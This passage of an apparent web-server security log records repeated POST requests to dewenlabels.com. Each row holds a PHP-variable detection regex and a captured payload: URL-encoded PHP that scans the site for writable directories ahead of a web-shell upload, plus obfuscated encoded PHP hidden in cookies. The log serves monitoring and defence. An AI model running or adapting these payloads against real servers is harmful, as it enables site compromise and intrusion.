Oa:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:3811\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nOa=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 20:03:16","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> sv:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:3811\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nsv=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 20:03:25","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Yc:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:3811\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nYc=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 20:03:27","50.6.7.129","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> yE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 